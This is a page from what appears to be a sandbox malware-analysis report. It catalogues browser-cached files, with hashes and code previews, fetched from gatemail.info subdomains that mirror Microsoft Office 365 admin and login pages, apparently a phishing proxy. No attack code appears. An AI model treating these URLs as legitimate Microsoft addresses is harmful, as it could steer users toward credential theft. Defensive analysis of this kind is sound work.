File Type: HTML document, ASCII text, with very long lines (61371), with no line terminators

Category: downloaded

Size (bytes): 61371

Entropy (8bit): 5.237542510810988

Encrypted: false

SSDEEP: 384:J66D8dHRGWZMKGrhEDa/Vi7XVl1TqI4iv1SxXlSlE4GYLQ6IgXm0gWtMZAGn6wpL:BmRaI9ahvYsw2DAGn6wppscyO1

MD5: 6D4AD7661B98C4CE3444484CBC068A7E

SHA1: 9A4BC733289A99B8D11D8904B5098EFBE3D98C64

SHA-256: 1461BE81ED64FF3244D8EF01E12F34D0D66D8FD6D5912BBBD2FFF6316AAF0D53

SHA-512: 1026990C1984BA88BC049AB3BE5F051DD314559F52E228DBA0A3F7D76AD208BC45A2228A0E847303AD8B76ED0B3920EE806B41C918282DF8D5BE8E7EE4379B9
1

Malicious: false

URL: https://81496c52-fa3adaac.gatemail.info/admincenter/admin-pkg/2023.3.13.2/en/webcontrols/js/listgrid.js

Preview: var NavigatePage,BOX,ListGrid;(function(n){n[n.NoChange=0]="NoChange",n[n.First=1]="First",n[n.Previous=2]="Previous",n[n.Next=4]="Next",n[n.Last=8]="Last",n[n.
Direct=16]="Direct"})(NavigatePage||(NavigatePage={})),function(n){var t;(function(n){function i(n){var t=document.createElement("div");return t.appendChild(doc
ument.createTextNode(n)),t.innerHTML.replace(/\"/g,"&quot;")}function t(n){var t=i(n);return t.replace(/\'/g,"&#39;")}function o(n,t){return t.length?t.length>n.length?!1
:n.substr(0,t.length)==t:!0}function u(n){return n!==null&&n!==undefined&&n!=''}var a,v,s,h,f,c,l,r,e;(function(n){n[n.ascending=0]="ascending",n[n.descending=1]="descend
ing"})(a=n.SortOrder||(n.SortOrder={})),function(n){n[n.clientInitiated=0]="clientInitiated",n[n.serverInitiated=1]="serverInitiated"}(v=n.DataFetchMode||(n.DataFetchMode=
{})),s=function(){function n(){this.AddButton='AddButton',this.ArrowDown='ArrowDown',this.ArrowUp='ArrowUp',this.CloseButton='CloseButton',this.DeleteButton='D
eleteButto

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines (32929)

Category: downloaded

Size (bytes): 109894

Entropy (8bit): 5.310298784002463

Encrypted: false

SSDEEP: 1536:g0CJg/RUcjFSawQcuyhK7+CYwOtqXslpJKZnVimZ2LQ:g0Ug/+QczC+CYwOtqXO2nViq

MD5: B5A13B597D49E8071915CC180617C0EE

SHA1: 41E634938B367C291FFFD6904715CE815D37FE78

SHA-256: 36CA7204B01647E797E27210A162E20EA00B3BDE324AC9734A9C9B9828B32CEB

SHA-512: 0FCC277BC86E5A232041B448B2D6834BA01611CA929989F41F2A4F5CFA468923BAFF28E21431254BCB0BE304B3EEB0B4AC5009A481D147DE6A4820FAC9EAAB
E5

Malicious: false

URL: https://d16b5991-fa3adaac.gatemail.info/shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_aeb718e8cbcfba8bf6ed.js

Preview: /*!. * ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------. * . * This file is based on or incorporates material from the projects
listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and 
notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all 
other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise.. * . *   json2.js (2016-05-01). *   https://github.gatemail.info/dougl
ascrockford/JSON-js. *   License: Public Domain. * . * Provided for Informational Purposes Only. * . * ----------------------------------------------- END OF THIRD PARTY NOTICE --
----------------------------------------. */.(window.webpackJsonp=window.webpackJsonp||[]).push([[7],{496:funct

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: XML 1.0 document, Unicode text, UTF-8 (with BOM) text

Category: downloaded

Size (bytes): 215

Entropy (8bit): 5.275462426726346

Encrypted: false

SSDEEP: 6:JiMVBdgqZjZWtMfgRTH1Aiawqk+N2bAg6n:MMHdVBZWyUTqNwnp6

MD5: A3DE4BC2DA18ACCB3E168ECFB106F1E3

SHA1: D936EF387A46EB47864EB943F13129644AA5B4CE

SHA-256: CD5BA16B52DF95BE837B84F2523BCB0D95E9027DFC564BF6DA3498DB3DA32E7E

SHA-512: 71E79CD14695C4A8CCC362C93A8C32486366178A07D0072898D6E6CFE053364E9D8E4D977FF36FCB7DDDE67437049140986C79EBD9A81DE60B58173AD2C33B1
B

Malicious: false

URL: https://81496c52-fa3adaac.gatemail.info/admincenter/admin-pkg/2023.3.13.2/en/css/home.css

Preview: .<?xml version="1.0" encoding="utf-8"?><Error><Code>BlobNotFound</Code><Message>The specified blob does not exist..RequestId:e7f8a563-d01e-0060-0ddf-5
9b65e000000.Time:2023-03-18T21:22:22.3862720Z</Message></Error>

Chrome Cache Entry: 234

Chrome Cache Entry: 235

Chrome Cache Entry: 236
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Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: SVG Scalable Vector Graphics image

Category: dropped

Size (bytes): 3651

Entropy (8bit): 4.094801914706141

Encrypted: false

SSDEEP: 96:wO4DZ+Stb/jY+eo4hAryAes9mBYYQgWLDm9:wToSBjlevudl9nO

MD5: EE5C8D9FB6248C938FD0DC19370E90BD

SHA1: D01A22720918B781338B5BBF9202B241A5F99EE4

SHA-256: 04D29248EE3A13A074518C93A18D6EFC491BF1F298F9B87FC989A6AE4B9FAD7A

SHA-512: C77215B729D0E60C97F075998E88775CD0F813B4D094DC2FDD13E5711D16F4E5993D4521D0FBD5BF7150B0DBE253D88B1B1FF60901F053113C5D7C1919852D58

Malicious: false

Preview: <svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38
.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0,0,1,.419-.967,1.413,1.413,0,0,1,1-.39,1.392,
1.392,0,0,1,1.02.4,1.3,1.3,0,0,1,.4.958,1.248,1.248,0,0,1-.414.953,1.428,1.428,0,0,1-1.01.385A1.4,1.4,0,0,1,47.25,6.6a1.261,1.261,0,0,1-.409-.948M49.41,18.4H47.
081V8.507H49.41Zm7.064-1.694a3.213,3.213,0,0,0,1.145-.241,4.811,4.811,0,0,0,1.155-.635V18a4.665,4.665,0,0,1-1.266.481,6.886,6.886,0,0,1-1.554.164,4.70
7,4.707,0,0,1-4.918-4.908,5.641,5.641,0,0,1,1.4-3.932,5.055,5.055,0,0,1,3.955-1.545,5.414,5.414,0,0,1,1.324.168,4.431,4.431,0,0,1,1.063.39v2.233a4.763,4.763,0,0,0-
1.1-.611,3.184,3.184,0,0,0-1.15-.217,2.919,2.919,0,0,0-2.223.9,3.37,3.37,0,0,0-.847,2.416,3.216,3.216,0,0,0,.813,2.338,2.936,2.936,0,0,0,2.209.837M65.4,8.343
a2.952,2.952,0,0,1,.5.039,2.1,2.1,0,0,1,.375.1v2.358a2.04,2.04,0,0,0-.

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: XML 1.0 document, Unicode text, UTF-8 (with BOM) text

Category: downloaded

Size (bytes): 223

Entropy (8bit): 5.254696092476235

Encrypted: false

SSDEEP: 6:JiMVBdgqZj8FWtkwgRTH1kVy2ag0+bZ3Ag6n:MMHdVBKW/UTYNaG3F6

MD5: 453C2FC324727B5CC4C9DB009C31616A

SHA1: 3F2849D220667AB09CDF87A5CA5A281567639BF9

SHA-256: 18B1CB5DCAE531A9AB4591CCAF12C4A2533E5FC61C127401C256B57D1ABFB6E3

SHA-512: D24673D0C3991ECDA009428D990EB1578B3FF9505826902D32B1F975E514DB648693D0FC6508BAC765FCE13E6EF3A1F1D255AE1D9DB0B0540097A9841DEF50D
B

Malicious: false

URL: https://81496c52-fa3adaac.gatemail.info/images/spinner_24x24_metro.gif

Preview: .<?xml version="1.0" encoding="utf-8"?><Error><Code>ResourceNotFound</Code><Message>The specified resource does not exist..RequestId:993824a9-601e-0075-
5fdf-59a1ed000000.Time:2023-03-18T21:22:51.6945681Z</Message></Error>

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines (7808), with no line terminators

Category: downloaded

Size (bytes): 7808

Entropy (8bit): 5.229365087117069

Encrypted: false

SSDEEP: 96:L+qs9f6jGaJDM2j/jHHe0Oy6qkmYdcCXiwLPzwL5AcP0F0mqDY3cpS7Z:CCGaG8jrjkmYdcBwLPz4OVvqsMpSd

MD5: CFAC4D37EBEE0DEB9CA7FF514C67910B

SHA1: DA0A3FC895086FC6094B24811EC6E494ACACC4C8

SHA-256: 6FEDAE5107F342161BA5B8DC77D5D20A77FEEC58A4417A4CB14C8BAA883D157E

SHA-512: 40DB53C62062B2527DEC3594A669F3A4B32A44F5DF4C0141281EABBCDD0518FA52414C6A862BB1E7A0932C1E9BDB3F13EC5A4BE74C53ADBA73CAC78A460A7
53E

Malicious: false

URL: https://81496c52-fa3adaac.gatemail.info/admincenter/admin-pkg/2023.3.13.2/en/webcontrols/js/gridview.js

Preview: var GridViewManager={};GridViewManager._gridViewInstanceIds=[],GridViewManager._gridViewInstances=[],GridViewManager.CreateGridViewInstance=function(n,t,i)
{var r=n.replace(/_Grid_ListViewUpdatePanel$/i,""),u,f;return GridViewManager._gridViewInstanceIds[r]?null:(u=new GridViewInstance(r,t,i),f=GridViewManager
._gridViewInstances.length,GridViewManager._gridViewInstances[f]=u,GridViewManager._gridViewInstanceIds[r]=f,u)},GridViewManager.GetGridViewInstanceBy
ID=function(n){var t=GridViewManager._gridViewInstanceIds[n];return GridViewManager._gridViewInstances[t]},GridViewManager.GetGridViewInstance=function(n){var t
=null,i,r,u;if(n){for(i=/(_Grid_ListViewUpdatePanel)|(_LayoutUpdatePanel)$/i;n&&(!n.id||!n.id.match(i));)n=n.parentElement;n&&n.id&&(r=n.id.replace(i,""),u=Grid
ViewManager._gridViewInstanceIds[r],t=GridViewManager._gridViewInstances[u])}else t=GridViewManager._gridViewInstances[0];return t},GridViewManager.Lo
adInit=function(){var t,n;for(Sys.Application.remove_load(GridViewMana

Chrome Cache Entry: 237

Chrome Cache Entry: 238

Chrome Cache Entry: 239

Chrome Cache Entry: 240

Copyright Joe Security LLC 2023 Page 33 of 46



Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: XML 1.0 document, Unicode text, UTF-8 (with BOM) text

Category: downloaded

Size (bytes): 223

Entropy (8bit): 5.248122161216142

Encrypted: false

SSDEEP: 6:JiMVBdgqZj8FWtkwgRTH16lOYVO+xB8g6n:MMHdVBKW/UTY4IXX6

MD5: 2776D1F96D7CCC897117A505EC5613B3

SHA1: FDA6AF92B29DA5B4DBE68F25B41742334064FCE6

SHA-256: 5F0290D8B4E3C248423552EE532AE2057438D651D59DD84A31A7AB7F2E450D3E

SHA-512: 7E47C58E48AA403EB6D3925C5FA84CC9B1B8B8DEDDE1EEAEA701A76B7FA2732C7D00C7037B1CB7CDBFB3F289A7568FC190525DD44DB17FEED035A18B9EC8
E975

Malicious: false

URL: https://81496c52-fa3adaac.gatemail.info/images/backgrounds/image1.jpg

Preview: .<?xml version="1.0" encoding="utf-8"?><Error><Code>ResourceNotFound</Code><Message>The specified resource does not exist..RequestId:49d57129-301e-0057-
34df-5964f2000000.Time:2023-03-18T21:22:54.2384034Z</Message></Error>

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: XML 1.0 document, Unicode text, UTF-8 (with BOM) text

Category: downloaded

Size (bytes): 223

Entropy (8bit): 5.240741898131602

Encrypted: false

SSDEEP: 3:JLWMNHU8LdgCAqZj+3EGjoWWUAVMABUlKBWRTWA1DH3EIAcCcWnRUfdQ/40M9Kg6:JiMVBdgqZj8FWtkwgRTH1VYc+J5g6n

MD5: 576310E82F8077D44BD306E472A75CD2

SHA1: 968DA4432804A0953EB573A8B6DB3E1FC1C212DA

SHA-256: B60312D31F6ED84EA8067FC85373BA9348C1E65FAFCE0016FD342170240DE1FB

SHA-512: 7EF63E847E820322BB11E0F26CB8E85C4745CF5139383405B99BEF0E3ECD8212717EC5F27C7511E454C7A21EB57F355D13EA3B33C65ADAD6E153330F25A1FEB
C

Malicious: false

URL: https://81496c52-fa3adaac.gatemail.info/shell/images/signup_ms_logo.png

Preview: .<?xml version="1.0" encoding="utf-8"?><Error><Code>ResourceNotFound</Code><Message>The specified resource does not exist..RequestId:fbceeb52-601e-004a-
42df-59694e000000.Time:2023-03-18T21:22:54.3545163Z</Message></Error>

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with CRLF line terminators

Category: downloaded

Size (bytes): 23063

Entropy (8bit): 4.7535440881548165

Encrypted: false

SSDEEP: 384:GvUzYI+Vi4g1V5it1ONhA6w+Kv8i/4CYzLKL4DrLU0iTxZTAzIzrwDlTWMClQip9:bkON69kClQq8hDRJHp2tWU25Zt/gREVG

MD5: 90EA7274F19755002360945D54C2A0D7

SHA1: 647B5D8BF7D119A2C97895363A07A0C6EB8CD284

SHA-256: 40732E9DCFA704CF615E4691BB07AECFD1CC5E063220A46E4A7FF6560C77F5DB

SHA-512: 7474667800FF52A0031029CC338F81E1586F237EB07A49183008C8EC44A8F67B37E5E896573F089A50283DF96A1C8F185E53D667741331B647894532669E2C07

Malicious: false

URL: https://b11b496a-fa3adaac.gatemail.info/WebResource.axd?d=SYxG2gKEltHc92c7-eKy7vreyN1e2QqrvpdCCR4utt35Rwac9rd_c8SeOHxrYQBj6_mlgMwB-
OaZiOiHvHjimRyiyb40s7dxOv3AMLtzClV2W-wogtkMOc2pDBD_sJZyRKzfvgJtVY-JClcKNVaTSg2&t=638114535759270433

Preview: function WebForm_PostBackOptions(eventTarget, eventArgument, validation, validationGroup, actionUrl, trackFocus, clientSubmit) {..    this.eventTarget = eventTarget;..   
 this.eventArgument = eventArgument;..    this.validation = validation;..    this.validationGroup = validationGroup;..    this.actionUrl = actionUrl;..    this.trackFocus = 
trackFocus;..    this.clientSubmit = clientSubmit;..}..function WebForm_DoPostBackWithOptions(options) {..    var validationResult = true;..    if (options.validation) {..        
if (typeof(Page_ClientValidate) == 'function') {..            validationResult = Page_ClientValidate(options.validationGroup);..        }..    }..    if (validationResult) {..        if ((
typeof(options.actionUrl) != "undefined") && (options.actionUrl != null) && (options.actionUrl.length > 0)) {..            theForm.action = options.actionUrl;..        }..        if 
(options.trackFocus) {..            var lastFocus = theForm.elements["__LASTFOCUS"];..            if ((typeo

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: XML 1.0 document, Unicode text, UTF-8 (with BOM) text

Category: downloaded

Size (bytes): 223

Chrome Cache Entry: 241

Chrome Cache Entry: 242

Chrome Cache Entry: 243
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Entropy (8bit): 5.227552364928867

Encrypted: false

SSDEEP: 6:JiMVBdgqZj8FWtkwgRTH135ji8M0+o8g6n:MMHdVBKW/UTbNx6

MD5: 5E2051D0CAC30AC34920BB1C7DF82CC8

SHA1: 6ADAA6E43D8291DE071D933DBEC8BBFDE67251F9

SHA-256: 60DDAAAC8F40B4686FB8DC1BC80232D5804C3816853448DB7624E35A6FF04870

SHA-512: 4F217D70E8A5813E57DE3EBD8BB3D63540FB383EC23E0CBAE64D7E39EA0566386F1D333FCCE0EBAEE9E41BE34E0B65C5C379983569B75FD9DF7FBD5063BE2
47B

Malicious: false

URL: https://81496c52-fa3adaac.gatemail.info/shell/images/o365_gallatin_logo.png

Preview: .<?xml version="1.0" encoding="utf-8"?><Error><Code>ResourceNotFound</Code><Message>The specified resource does not exist..RequestId:3ec055e4-b01e-0049-
52df-59882a000000.Time:2023-03-18T21:22:54.3835066Z</Message></Error>

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: XML 1.0 document, Unicode text, UTF-8 (with BOM) text

Category: downloaded

Size (bytes): 226

Entropy (8bit): 5.305060817475842

Encrypted: false

SSDEEP: 6:JiMVBdgqZj8DHgWdzRiAU2uvxV16ML/b0E0+B5g6n:MMHdVBMHgWdzR056MM36

MD5: 480E800B372E2BFAF882E013E50FF526

SHA1: CA406899B435CF953D877B7F192F835370CFF8C8

SHA-256: EA67D45F926687DE9D8B9A776D852621CB376B513757AE1739C8914D5F170B1A

SHA-512: DE490DB04377E9037180C3D3910D2F2DB1D381E44C9FA19FF8A867225CBE1E8811D95F77FA055584294E5BC03AE7AC2E9DDE10AAB9B9B2CCE6D993C87D8C6C
70

Malicious: false

URL: https://81496c52-fa3adaac.gatemail.info/Shell/Images/pagelayout_white_panel.jpg

Preview: .<?xml version="1.0" encoding="utf-8"?><Error><Code>OutOfRangeInput</Code><Message>One of the request inputs is out of range..RequestId:496e2ab0-501e-0041-
45df-599225000000.Time:2023-03-18T21:22:47.7713377Z</Message></Error>

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines (65536), with no line terminators

Category: downloaded

Size (bytes): 89590

Entropy (8bit): 5.193479693663803

Encrypted: false

SSDEEP: 1536:x7cx5Yu0kcI4OtiiB2ZaJUx3qVnS8auwqme2cumAaUmE4Y/rHww1erQ+Hfx07im4:+QROIiB2ZAYuwtjR1ec+y7imfg

MD5: A55B9665B3C5DACA296C27422BF152FA

SHA1: 9220BE1BC39C3ED05FC5CF25D825B8B3A171FCD2

SHA-256: 5B53C6DB5ABDA0AEAD4DEB08A073B3A982E4CEE523A0D5FC2DC69473CD6EFB36

SHA-512: 7950DD0060557B299CEC6D6FD18F89F264E45D8A39E84F97EBB365DC8205ACD4119E7141E0C1867F99BE03D45722D57102D4368DC6E9BA65FCE194B8B24EBF0
4

Malicious: false

URL: https://81496c52-fa3adaac.gatemail.info/admincenter/admin-pkg/2023.3.13.2/en/jsc/controlbundle.js

Preview: var TextBox=window.TextBox||function(){var r=function(i){var u=t(i),r=n(i),f=i.value;return r&&f.length-u.length>=r?!1:!0},u=function(t){var i=n(t);return i?!1:!0},f=function(r)
{var u;if(window.clipboardData&&(u=n(r),u)){var f=r.value,e=t(r),o=u-f.length+e.length,s=window.clipboardData.getData("Text").substr(0,o);return i(r,s),!1}return!0},e=functi
on(t){var i=n(t),r=t.value;i&&r.length>i&&(t.value=r.substring(0,i))},n=function(n){var t=n.attributes.multilineMaxLength;return t?parseInt(t.value):null},t=function(n){var t,i;ret
urn n.document?(i=n.document.selection.createRange(),t=i.text):t=n.value.substring(n.selectionStart,n.selectionEnd),t},i=function(n,t){var r,i;n.document?(i=n.document.se
lection.createRange(),i.text=t):n.value=n.value.substring(0,n.selectionStart)+t+n.value.substring(n.selectionEnd)};return{OnKeypressHandler:r,OnBeforePasteHandl
er:u,OnPasteHandler:f,OnBlurHandler:e,GetMultilineMaxLength:n,GetSelectedText:t,SetSelectedText:i}}();var HelpCallout=window.HelpCallout||fu

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: XML 1.0 document, Unicode text, UTF-8 (with BOM) text

Category: downloaded

Size (bytes): 215

Entropy (8bit): 5.3104668570263645

Encrypted: false

SSDEEP: 3:JLWMNHU8LdgCAqZj+kKlGjoWWUAVMABcyFKBWRTWA1vGcLePUQcTAWnRUfTVnLzc:JiMVBdgqZjZWtMfgRTH1ecLePJN+hg6n

MD5: A4554C26C9B6B84E276CEE27D6C2D802

Chrome Cache Entry: 244

Chrome Cache Entry: 245

Chrome Cache Entry: 246
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SHA1: 823707A2CD779125560C9B17E6C0E9803ED8EBA6

SHA-256: 47AEE91F98C23EE0CE28940ADB517B316D422C8C936592BCAD14EF1E8503D9CB

SHA-512: DFF459561C88E53B6722902ECDECDEFD7061F5B8DCAE802BBA21B6BE5A6069FD28D3790039EFDC0C805EF25D5C5F0D7347FA817DE14644CDBEFE09D861287
A9C

Malicious: false

URL: https://81496c52-fa3adaac.gatemail.info/admincenter/admin-pkg/2023.3.13.2/en/js/assistancepanel.js

Preview: .<?xml version="1.0" encoding="utf-8"?><Error><Code>BlobNotFound</Code><Message>The specified blob does not exist..RequestId:12ec7194-601e-0038-14df-5
96e01000000.Time:2023-03-18T21:22:44.0716848Z</Message></Error>

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: XML 1.0 document, Unicode text, UTF-8 (with BOM) text

Category: downloaded

Size (bytes): 215

Entropy (8bit): 5.33371114369033

Encrypted: false

SSDEEP: 6:JiMVBdgqZjZWtMfgRTH1AA548Bk+Co8g6n:MMHdVBZWyUTqG48w+6

MD5: 5C7DF4B8BB6A45C6114557952E28B1B4

SHA1: 841989C7392C14DBFDBF05D4D9D9F8AD66A2E598

SHA-256: A42E05D096BC3496AE83C4395713038FC19341EB1EB69ECFB6F12D6058CED7FD

SHA-512: 8FCF7EDDEC2D53488DA2128FE102D38F4539D4C90CA9E1FE57C4E8A65F44F11D662DF206F8ABF7C9AE2335542A76D8EAF4B56D8670C6B47F91E322CC2874409
8

Malicious: false

URL: https://81496c52-fa3adaac.gatemail.info/admincenter/admin-pkg/2023.3.13.2/en/css/conciergehelper.css

Preview: .<?xml version="1.0" encoding="utf-8"?><Error><Code>BlobNotFound</Code><Message>The specified blob does not exist..RequestId:e7f88a5f-d01e-0060-62df-5
9b65e000000.Time:2023-03-18T21:22:14.9684557Z</Message></Error>

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with no line terminators

Category: downloaded

Size (bytes): 28

Entropy (8bit): 4.307354922057605

Encrypted: false

SSDEEP: 3:8Kiun9ks:8Kiun2s

MD5: 9F9FA94F28FE0DE82BC8FD039A7BDB24

SHA1: 6FE91F82974BD5B101782941064BCB2AFDEB17D8

SHA-256: 9A37FDC0DBA8B23EB7D3AA9473D59A45B3547CF060D68B4D52253EE0DA1AF92E

SHA-512: 34946EF12CE635F3445ED7B945CF2C272EF7DD9482DA6B1A49C9D09A6C9E111B19B130A3EEBE5AC0CCD394C523B54DD7EB9BF052168979A9E37E7DB174433F
64

Malicious: false

URL: https://content-autofill.googleapis.com/v1/pages/ChRDaHJvbWUvMTA0LjAuNTExMi44MRIXCdq3ZleFaM-sEgUN0VtRUhIFDVd69_0=?alt=proto

Preview: ChIKBw3RW1FSGgAKBw1Xevf9GgA=

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines (6220), with no line terminators

Category: downloaded

Size (bytes): 6220

Entropy (8bit): 5.3305249415665035

Encrypted: false

SSDEEP: 192:A+YIiLKEXdcG/e9wbhThrdCdOc+34lR7WeA2LBjN4V44my7L9n:zYIiLXdcG/e9wbhThrdCwR34lR7WeA2I

MD5: 2D3A0BC04484192743A8215271A13179

SHA1: 423AEAEAAC63E2E418135FB5D8AAA786BF518159

SHA-256: 821E748CEFD23D60ECEF63346AD67524DA2B714386B1AFCBF17739B529BC0AE3

SHA-512: 32C86150434E35EDC2724D45B5C2EAA3D440F1095EDB98A664FA15039EB158CF5A2C51B98E8C6343102E82B092676912F8BAD0FFC0267689AA2CC6D104851FA1

Malicious: false

URL: https://81496c52-fa3adaac.gatemail.info/admincenter/admin-pkg/2023.3.13.2/en/webcontrols/js/productkeycontrol.js

Chrome Cache Entry: 247

Chrome Cache Entry: 248

Chrome Cache Entry: 249
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Preview: window.O365=window.O365||{},O365.ProductKeyControl=function(n,t,i){var r={Empty:{imgSrc:null,imgAlt:null},Incomplete:{imgSrc:null,imgAlt:null},Complete:{imgSrc:
null,imgAlt:null},Validating:{imgSrc:'https://81496c52-fa3adaac.gatemail.info/admincenter/admin-content/webcontrols/images/spinner_16x16.gif',imgAlt:'Validating product 
key'},Valid:{imgSrc:'https://81496c52-fa3adaac.gatemail.info/admincenter/admin-content/images/greencheck_default_16x16_metro.png',imgAlt:'Valid product key'},Invalid:
{imgSrc:'https://81496c52-fa3adaac.gatemail.info/admincenter/admin-content/images/alert_high_default_16x16_metro.png',imgAlt:'Invalid product key'}},ut=function(n){var 
y="ValFieldError",e=!0,f="",o,s=$(n),w=s.parent(),h=s.attr("id"),i=h+"_v",u=i+"_val",c=i+"_err",r=i+"_err_ClientState",l=i+"_f",a=document.createElement("div"),v,t;a.i
nnerHTML="<span id='"+u+"' style='display:none;'></span><input type='hidden' name='"+r+"' id='"+r+"' />",w[0].appendChild(a),v=$("#"+u),t=v[0],t.enabled=!0,t.co
ntroltoval

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: Unicode text, UTF-8 text, with very long lines (21190), with no line terminators

Category: downloaded

Size (bytes): 21204

Entropy (8bit): 5.257107137806483

Encrypted: false

SSDEEP: 192:XqzYl5S0qEZeaXVTebI38CI2hpE++Gv30v5z6X/PfGIR2Mh4fZqZXY+iSvkDDx9g:Xqkl5S0qEZeaXV80DhpnMUAMq6XpJ

MD5: 8F450307A3BDF9A3B5B0D90917BDAB3A

SHA1: 8C96DAFE3B4DB2D1DBE96067E3BED6C96E1BA1ED

SHA-256: 08F49FEA522DF2BE770EEE69520C4D9217BBDBB50EB74B2C1E5E48E21FF03D96

SHA-512: BBF3C6A44B6383B59F5B865F9F7AAD2345B26ADF9BC93F05764B135AC00A6535A3ABDF4846DCCDDB50F259CA1DE2253EF645F18E482DF44E3EE5D392ABA21
FDA

Malicious: false

URL: https://81496c52-fa3adaac.gatemail.info/admincenter/admin-pkg/2023.3.13.2/en/content/css/signup16.css

Preview: @font-face{font-family:'SegoeUI-SemiLight-final';src:url('https://81496c52-fa3adaac.gatemail.info/admincenter/admin-content/en/css/webfonts/segoeui-semilight-final.eot');
src:url('https://81496c52-fa3adaac.gatemail.info/admincenter/admin-content/en/css/webfonts/segoeui-semilight-final.eot?iefix') format('embedded-opentype'),url('https://81
496c52-fa3adaac.gatemail.info/admincenter/admin-content/en/css/webfonts/segoeui-semilight-final.woff') format('woff'),url('https://81496c52-fa3adaac.gatemail.in
fo/admincenter/admin-content/en/css/webfonts/segoeui-semilight-final.ttf') format('truetype'),url('https://81496c52-fa3adaac.gatemail.info/admincenter/admin-pkg/en/css/we
bfonts/segoeui-semilight-final.svg#web') format('svg');font-style:normal;font-weight:normal}html,body{height:100%}body{font-family:'SegoeUI-Regular-final','Segoe UI','Seg
oe WP',Tahoma,Arial,sans-serif}.hiddenImportant{display:none!important}.hidden{display:none}a{color:#da3b01;text-decoration:none}a:hover{color:#b22a0f}.containe

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines (64606)

Category: downloaded

Size (bytes): 412417

Entropy (8bit): 5.453904451393779

Encrypted: false

SSDEEP: 6144:0S87A+lJ4V0PqNfFxgmBjGTJDlI9OYv8gEE0HUNl5us:0S8VozFxgmQNq8gxP

MD5: B6F796809E76CE9133962750887140D9

SHA1: BEF7B0596A60D24E79035B697575BA4191F51D47

SHA-256: AD4C867D518A7FC9CA23A34FD599AA2C605D52091513872ACA2296489E774373

SHA-512: 4A125ED4A692F60C6F88ED382E7DC3EFF99317A06B109F4EF273D00141D745ECDD529BF153E6A54A38191A1CD8CC28536056695949F86015442F1B3E98076867

Malicious: false

URL: https://d16b5991-fa3adaac.gatemail.info/shared/1.0/content/js/ConvergedLogin_PCore_EH-q9hPYkBqq2xSfT_DcJw2.js

Preview: /*!. * ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------. * . * This file is based on or incorporates material from the projects
listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and 
notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all 
other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise.. * . *   json2.js (2016-05-01). *   https://github.gatemail.info/dougl
ascrockford/JSON-js. *   License: Public Domain. * . * Provided for Informational Purposes Only. * . * ----------------------------------------------- END OF THIRD PARTY NOTICE --
----------------------------------------. */!function(e){function n(n){for(var t,i,o=n[0],r=n[1],s=0,c=[];s<o.l

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines (9028), with no line terminators

Category: downloaded

Size (bytes): 9028

Entropy (8bit): 5.2055101815002125

Encrypted: false

SSDEEP: 192:epfigVSPs7ns7nXpVgAy0/0NxfU/S0fUNRf0QaUax0EUNRf8GKbtOOR74s2:ePVS07nynXpZy0/uxfKS0fORfTaUax0t

MD5: D66AE4644B136B468507E2E758E2C732

SHA1: 8540307D3EAA68D1540AE501E1D0A65682249B62

SHA-256: 78F204FB7B794AAD7425F3822F1C8C0107F0FA1442369A798AEF0DC6BF35B40D

SHA-512: 1A6564216182A71E63EC83417A3DD5C16FC7AB3AD6DBB5A6EA1957770293D08BB73BE9BE9E185CA55D4CBD3CE529A4373E3F8AE7C1C9FCCA68A40B5D007A7
397

Chrome Cache Entry: 250

Chrome Cache Entry: 251

Chrome Cache Entry: 252
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Malicious: false

URL: https://81496c52-fa3adaac.gatemail.info/admincenter/admin-pkg/2023.3.13.2/en/webcontrols/js/geminiwizard.js

Preview: var GeminiWizard=function(n,t,i,r,u,f,e,o,s){this.Id=n,this.NavigationPanelId=t,this.Steps=[],this.ForceValidationOnNext=r,this.EnableAnimationOnTranisition=u,this.LastCo
mpletedIndex=-1,this.StartAtStepIndex=typeof f=="undefined"||f==null?0:f,this.CurrentStep=null,this.IsInAnimation=!1,this.NavigationQueue=[],this.QueuedNavigati
onTimeout,this.BaseFieldCount=3,this.MinimumScreenPadding=50,this.OrginalItemSpacing=30,this.OnNavigationCompleted=null,this.OrginaScreenPadding=30,th
is.MinimumFieldSpacing=10,this.StepNotStarted=e,this.StepInProgress=o,this.StepCompleted=s,This=this,GeminiWizard.prototype.FocusAfterNavigate=function(){$("inp
ut[type='text']:visible",$("#"+This.CurrentStep.Id)).first().focus()},GeminiWizard.prototype.AdjustMinHeight=function(){if(typeof screenHeight!="undefined"&&screenHeight)
